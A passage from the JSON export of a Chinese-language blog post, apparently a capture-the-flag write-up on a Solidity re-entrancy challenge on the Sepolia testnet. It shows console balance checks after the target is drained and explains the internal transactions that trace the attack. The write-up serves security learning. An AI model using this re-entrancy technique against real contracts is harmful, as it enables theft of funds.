\uff0c\u60e1\u610f\u5408\u7d04\u6703\u5728\u4e00\u77ac\u9593\u900f\u904e\u905e\u8ff4\u7684\u65b9\u5f0f\u628a\u9776\u6a5f\u62bd\u4e7e\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">\u6aa2\u67e5\u7d50\u679c<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">\u56de\u5230\u700f\u89bd\u5668\u958b\u767c\u8005\u63a7\u5236\u53f0\uff0c\u518d\u6b21\u6aa2\u67e5\u9918\u984d\u5df1\u6b780\uff0c\u67e5\u770b\u653b\u64ca\u5408\u7d04\u767c\u73fe\u62ff\u5230\u6240\u6709\u7684donate\u70ba 0.03\uff0c \u5982\u4e0b <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>> await getBalance(instance)\n\"0\" \n>await getBalance(\"0x4c9c7ad14dD32C56202e7d7A98c2cdf7520d8583\");\n'0.003'<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6b64\u6642\u9ede\u64ca\u7db2\u9801\u4e0a\u7684 Submit instance \u5373\u53ef\u901a\u95dc<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Sepolia\u5340\u584a\u93c8\u700f\u89bd\u5668\u7684\u8a18\u9304<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Re-entrancy\u7684\u52d5\u4f5c\u5728\u4e00\u822c\u7684 <code>Transactions<\/code> \u9801\u7c64\u88e1\u627e\u4e0d\u5230\u5408\u7d04\u4e4b\u9593\u7684\u8f49\u5e33\u7d00\u9304\uff0c\u4f46\u53ef\u4ee5\u5728 <code>Internal Txns<\/code>\uff08\u5167\u90e8\u4ea4\u6613\uff09\u627e\u5230\uff0c\u53ef\u4ee5\u770b\u5230\u667a\u80fd\u5408\u7d04\u547c\u53eb\u53e6\u4e00\u500b\u667a\u80fd\u5408\u7d04\u6240\u7522\u751f\u7684\u8cc7\u91d1\u6d41\u52d5\u3002\u53ef\u4ee5\u770b\u5230\u4e00\u9577\u4e32\u6975\u5ea6\u5bc6\u96c6\u7684\u8f49\u5e33\u7d00\u9304\uff0c\u91cd\u73fe\u91cd\u5165\u653b\u64ca\u8ecc\u8de1\uff1a<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>Out (\u8f49\u51fa)<\/strong>\uff1a\u4f60\u7684 Attack \u5408\u7d04\u8f49\u4e86 0.001 ETH \u7d66\u9776\u6a5f\uff08\u9019\u662f <code>target.donate<\/code> \u4f48\u4e0b\u8a98\u990c\u7684\u52d5\u4f5c\uff09\u3002<\/li>\n\n\n\n<li><strong>In (\u8f49\u5165)<\/strong>\uff1a\u9776\u6a5f\u8f49\u4e86 0.001 ETH \u7d66\u4f60\u7684 Attack \u5408\u7d04\uff08\u9019\u662f\u7b2c\u4e00\u6b21 <code>withdraw<\/code>\uff09\u3002<\/li>\n\n\n\n<li><strong>In (\u8f49\u5165)<\/strong>\uff1a\u9776\u6a5f\u53c8\u8f49\u4e86 0.001 ETH \u7d66\u4f60\uff08\u7b2c\u4e00\u6b21\u91cd\u5165\uff09\u3002<\/li>\n\n\n\n<li><strong>In (\u8f49\u5165)<\/strong>\uff1a\u9776\u6a5f\u6700\u5f8c\u628a\u5269\u4e0b\u7684 0.001 ETH \u8f49\u7d66\u4f60\uff08\u7b2c\u4e8c\u6b21\u91cd\u5165\uff0c\u69a8\u4e7e\uff09\u3002<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u8a18\u9304\u53ef\u53c3\u8003 https:\/\/sepolia.etherscan.io\/tx\/0x50bc4396e968bb390f8c3d6767daf8a7b2911339267322524832bd2262661263#internal<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u9019\u95dc\u7684\u6838\u5fc3\u65e8\u5728\u63ed\u793a Solidity \u4e2d\u6700\u60e1\u540d\u662d\u5f70\u7684\u6f0f\u6d1e\u4e4b\u4e00\uff1a\u91cd\u5165\u653b\u64ca\uff08Re-entrancy\uff09\u3002\u6b77\u53f2\u4e0a\u8457\u540d\u7684 The DAO \u4e8b\u4ef6\u5c31\u662f\u56e0\u70ba\u9019\u500b\u6f0f\u6d1e\uff0c\u5c0e\u81f4\u50f9\u503c\u6578\u5343\u842c\u7f8e\u5143\u7684\u4ee5\u592a\u5e63\u88ab\u99ed\u5ba2\u76dc\u8d70\uff0c\u751a\u81f3\u76f4\u63a5\u5c0e\u81f4\u4e86\u4ee5\u592a\u574a\u7684\u786c\u5206\u53c9\u3002<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"fifu_image_url":"","fifu_image_alt":"","_jetpack_hide_featured_image":false,"_jetpack_featured_image_duplicate_dismissed":0,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_post_was_ever_published":false},"categories":[371],"tags":[],"class_list":["post-3317","post","type-post","status-publish","format-standard","hentry","category-blockchain-security"],"jetpack_sharing_enabled":true,"jetpack-related-posts":[{"id":2584,"url":"https:\/\/systw.net\/note\/archives\/2584","url_meta":{"origin":3317,"position":0},"title":"SC Reentrancy","author":"raymond","date":"2024 \u5e74 8 \u6708 14 \u65e5","format":false,"excerpt":"\u91cd\u5165\u653b\u64ca\uff08Reentrancy Attack\uff09\u662f\u4e00\u7a2e\u667a\u80fd\u5408\u7d04\u4e2d\u7684\u6f0f\u6d1e\uff0c\u7576\u5408\u7d04\u5728\u66f4\u65b0\u81ea\u8eab\u72c0\u614b\uff08\u5982\u9918\u984d\uff09\u2026","rel":"","context":"\u5728\u300cBlockchain Security\u300d\u4e2d","block_context":{"text":"Blockchain Security","link":"https:\/\/systw.net\/note\/archives\/category\/%e5%8d%80%e5%a1%8a%e9%8f%88\/blockchain-security"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":2556,"url":"https:\/\/systw.net\/note\/archives\/2556","url_meta":{"origin":3317,"position":1},"title":"OWASP Smart Contract Top 10","author":"raymond","date":"2025 \u5e74 8 \u6708 14 \u65e5","format":false,"excerpt":"\u96a8\u8457\u5340\u584a\u93c8\u548c\u667a\u80fd\u5408\u7d04\u7684\u8208\u8d77\uff0cOWASP \u4e5f\u767c\u5e03\u4e86 \u300cSmart Contract Top 10\u300d\uff0c\u9019\u2026","rel":"","context":"\u5728\u300cBlockchain Security\u300d\u4e2d","block_context":{"text":"Blockchain Security","link":"https:\/\/systw.net\/note\/archives\/category\/%e5%8d%80%e5%a1%8a%e9%8f%88\/blockchain-security"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":2688,"url":"https:\/\/systw.net\/note\/archives\/2688","url_meta":{"origin":3317,"position":2},"title":"CTF Fallback","author":"raymond","date":"2024 \u5e74 8 \u6708 19 \u65e5","format":false,"excerpt":"\u9019\u9053 Blockchain CTF \u984c\u76ee\u6d89\u53ca\u4e00\u500b\u4ee5\u592a\u574a\u667a\u80fd\u5408\u7d04\u7684fallback\u6f0f\u6d1e\u5229\u7528\uff0c\u76ee\u6a19\u662f\u901a\u904e\u2026","rel":"","context":"\u5728\u300cBlockchain Security\u300d\u4e2d","block_context":{"text":"Blockchain Security","link":"https:\/\/systw.net\/note\/archives\/category\/%e5%8d%80%e5%a1%8a%e9%8f%88\/blockchain-security"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":2578,"url":"https:\/\/systw.net\/note\/archives\/2578","url_meta":{"origin":3317,"position":3},"title":"SC Logic Errors","author":"raymond","date":"2024 \u5e74 8 \u6708 13 \u65e5","format":false,"excerpt":"\u908f\u8f2f\u932f\u8aa4\uff08Logic Errors\uff09\uff0c\u4e5f\u7a31\u70ba\u696d\u52d9\u908f\u8f2f\u6f0f\u6d1e\uff0c\u662f\u667a\u80fd\u5408\u7d04\u4e2d\u7684\u4e00\u7a2e\u96b1\u6027\u7f3a\u9677\u3002\u9019\u985e\u932f\u8aa4\u767c\u751f\u5728\u2026","rel":"","context":"\u5728\u300cBlockchain Security\u300d\u4e2d","block_context":{"text":"Blockchain Security","link":"https:\/\/systw.net\/note\/archives\/category\/%e5%8d%80%e5%a1%8a%e9%8f%88\/blockchain-security"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":2589,"url":"https:\/\/systw.net\/note\/archives\/2589","url_meta":{"origin":3317,"position":4},"title":"SC Integer Overflow and Underflow","author":"raymond","date":"2024 \u5e74 8 \u6708 14 \u65e5","format":false,"excerpt":"\u6574\u6578\u6ea2\u4f4d\uff08Overflow\uff09\u8207\u4e0b\u6ea2\uff08Underflow\uff09\u662f\u667a\u80fd\u5408\u7d04\u4e2d\u7684\u4e00\u7a2e\u5b89\u5168\u6f0f\u6d1e\uff0c\u6e90\u65bc\u4ee5\u592a\u574a\u865b\u64ec\u6a5f\u2026","rel":"","context":"\u5728\u300cBlockchain Security\u300d\u4e2d","block_context":{"text":"Blockchain Security","link":"https:\/\/systw.net\/note\/archives\/category\/%e5%8d%80%e5%a1%8a%e9%8f%88\/blockchain-security"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":2574,"url":"https:\/\/systw.net\/note\/archives\/2574","url_meta":{"origin":3317,"position":5},"title":"SC Improper Access Control","author":"raymond","date":"2024 \u5e74 8 \u6708 14 \u65e5","format":false,"excerpt":"\u5b58\u53d6\u63a7\u5236\u4e0d\u7576\u662f\u4e00\u7a2e\u667a\u80fd\u5408\u7d04\u4e2d\u7684\u5b89\u5168\u6f0f\u6d1e\uff0c\u6703\u5c0e\u81f4\u672a\u7d93\u6388\u6b0a\u7684\u4f7f\u7528\u8005\u80fd\u5920\u5b58\u53d6\u6216\u4fee\u6539\u5408\u7d04\u4e2d\u7684\u8cc7\u6599\u6216\u529f\u80fd\u3002\u9019\u7a2e\u2026","rel":"","context":"\u5728\u300cBlockchain Security\u300d\u4e2d","block_context":{"text":"Blockchain Security","link":"https:\/\/systw.net\/note\/archives\/category\/%e5%8d%80%e5%a1%8a%e9%8f%88\/blockchain-security"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]}],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/3317","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=3317"}],"version-history":[{"count":4,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/3317\/revisions"}],"predecessor-version":[{"id":3323,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/3317\/revisions\/3323"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=3317"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=3317"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=3317"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}